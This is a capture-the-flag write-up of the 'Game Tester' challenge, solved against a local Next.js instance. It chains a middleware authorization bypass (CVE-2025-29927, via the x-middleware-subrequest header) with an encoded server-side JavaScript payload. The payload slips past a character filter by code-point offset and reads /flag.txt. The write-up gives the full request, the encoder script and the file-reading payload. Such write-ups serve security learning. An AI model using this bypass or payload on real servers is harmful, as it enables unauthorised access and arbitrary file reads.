Game Tester

Just as a heads up, I’m going to be using the local instance to demonstrate the solve because at the time of publishing this writeup, the remote instance is no longer active.

Additionally, source code was provided for this challenge.



Upon visiting the website, we get greeted by a “Memory Card Game” page, which after looking at the source code for the site, works entirely on the front end and nothing happens when you complete the game, so I decided to scrap this.

alt text


Upon looking at the source code, I saw that there was an /admin endpoint, and upon trying to visit it, I get a 401 Unauthorized message.

alt text


After getting this message, I decided to look at the code dealing with the logic regarding authorization to the /admin endpoint. It was located in the middleware.ts file, and I felt like I had reached a deadlock. No matter how many times I prompted GPT for help and tried different strategies, I could not figure out a way to gain access to the endpoint.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import { NextRequest, NextResponse } from 'next/server';

export function middleware(request: NextRequest) {
const AdminKey = Math.random().toString(36).slice(2, 18);
const key = request.nextUrl.searchParams.get('key');
if (key !== AdminKey) {
return new NextResponse('Unauthorized', { status: 401 });
}
return NextResponse.next();
}

export const config = {
matcher: ['/admin/:path*'],
};


After an hour or two of trying to figure this out, one of my friends simply suggested I run the Snyk vulnerability scanner on the npm packages, so I did. Lo and behold, there is a CVE associated with bypassing NextJS middleware: CVE-2025-29927: Next.js Middleware Authorization Bypass.

alt text

For those unaware, middleware is a security mechanism implemented on websites that basically function as a middleman for requests made to certain endpoints. When making requests to /admin for example, the middleware “intercepts” the request, makes the necessary checks in the HTTP headers for the appropriate session token & any other required security checks before forwarding the request to the endpoint if everything checks out.


As for the vulnerability mechanism, the exploit takes advantage of how Next.js processes the x-middleware-subrequest header. “This header was originally intended for internal use within the Next.js framework to prevent infinite middleware execution loops. When a Next.js application uses middleware, the runMiddleware function is called to process incoming requests. As part of its functionality, this function checks for the presence of the x-middleware-subrequest header. If this header exists and contains a specific value, the middleware execution is skipped entirely, and the request is forwarded directly to its original destination via NextResponse.next()


1
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

The CVE outlines multiple different payloads that could be used as the input data for the x-middleware-subrequest header based on the Next.js version, but the one outlined above is the one that works for this application’s version of Next.js.



This is what the HTTP request would look like before we send it off to the /admin endpoint using Burpsuite. As you can see, the x-middleware-subrequest header was appended.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET /admin HTTP/1.1
Host: localhost:3000
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

After sending this GET request, we successfully gain access to the /admin endpoint. We’re greeted with a page that allows us to write JavaScript code that we can either execute server-side or client-side.

alt text


I didn’t bother messing with the Client Run functionality because running client-side JS code is worthless in any context where we would have access to run server-side code.


Anyways, I try running server-side JavaScript code and look at what I get as a response in Burpsuite, and I see this.

alt text

What this tells me is that each character in the input form is encoded into Unicode, and put into the codeArray as seen in the POST request to /admin.

To delve further into this, I decided to look at the logic for this page to see how it works under the hood.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
'use server';

export async function runOnServer(data: { codeArray: string }) {
try {
const { codeArray } = data;
if (!codeArray || !codeArray.trim()) return 'Please enter a valid string.';
const charCodes = JSON.parse(codeArray);
if (charCodes.some((n: number) => n >= 65 && n <= 122)) {
throw new Error('Invalid character detected.');
}
const verified_code = String.fromCharCode(...charCodes);
const result = new Function(verified_code)();
return result !== undefined ? String(result) : 'Code executed successfully.';
} catch (e: any) {
return e.message || 'Error occurred while executing code.';
}
}

This is the logic for the server-side JS execution. As you can see in the 2nd if statement, it checks for UTF-16 values in between 65 and 122, since the charCodes object uses UTF-16 encoding. If the values entered (in this case the characters from the server-side JS command you’re trying to run) fall in that range, it just throws an error saying “Invalid character detected,” essentially working as a filter to try & filter out malicious code.


After trying various methods that ended up ultimately not working, I simply googled “Unicode range bypass” and came across this article: Bypassing character blocklists with unicode overflows.


What this research essentially says is that since this JS object uses UTF-16 encoding, it can store data up to 16 bits, meaning that the maximum value is 65536. The attack, called “Unicode codepoint truncation” basically outlines that you can perform a buffer overflow on this maximum value, and if you were to store, say the number 65537, it would be treated as a 0, 65538 would be treated as a 1, and so on. This is our attack vector.

1
"codeArray":"[97,108,101,114,116,40,49,41]"

If we want to test code execution with “alert(1)”, instead of having our codeArray look like the above, we offset each number in the array by 65536 to bypass the WAF. I wrote a quick Python script to generate the numbers with the required offset.

1
2
3
4
5
6
7
8
OFFSET = 0x10000

js = "alert(1)"
code_array = [ord(c) + OFFSET for c in js]
print(code_array)

# Output:
[65633, 65644, 65637, 65650, 65652, 65576, 65585, 65577]

Upon using this payload, we can see that our alert(1) command was actually executed server-side, but we did get an error message saying it wasn’t defined. This confirms that the server-side command execution is working.

alt text


Now that I’ve figured this out, I decided to test a multitude of different commands to see if I can exfil the flag, but I ended up finding out that all outbound connections from this box are blocked, so I was stuck. I decided to look at the source code again & see if I could find anything that might help.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
export async function runOnServer(data: { codeArray: string }) {
try {
const { codeArray } = data;
if (!codeArray || !codeArray.trim()) return 'Please enter a valid string.';
const charCodes = JSON.parse(codeArray);
if (charCodes.some((n: number) => n >= 65 && n <= 122)) {
throw new Error('Invalid character detected.');
}
const verified_code = String.fromCharCode(...charCodes);
const result = new Function(verified_code)();
return result !== undefined ? String(result) : 'Code executed successfully.';
} catch (e: any) {
return e.message || 'Error occurred while executing code.';
}
}

After reading this code ad nauseam, I noticed that the error message from the try-catch statement is returned & appended to the HTTP response when running commands. After finding this out, I thought maybe: if I read the contents of /flag.txt, save it to a variable, and throw the variable as an error, it would give me the flag? I built a payload that would throw an error, encoded it to UTF-16 with the 0x10000 offset, and sent the payload off.

1
throw new Error(process.mainModule.require('fs').readFileSync('/flag.txt','utf8'))

Upon encoding this payload & sending the HTTP request, I finally received the flag back.
alt text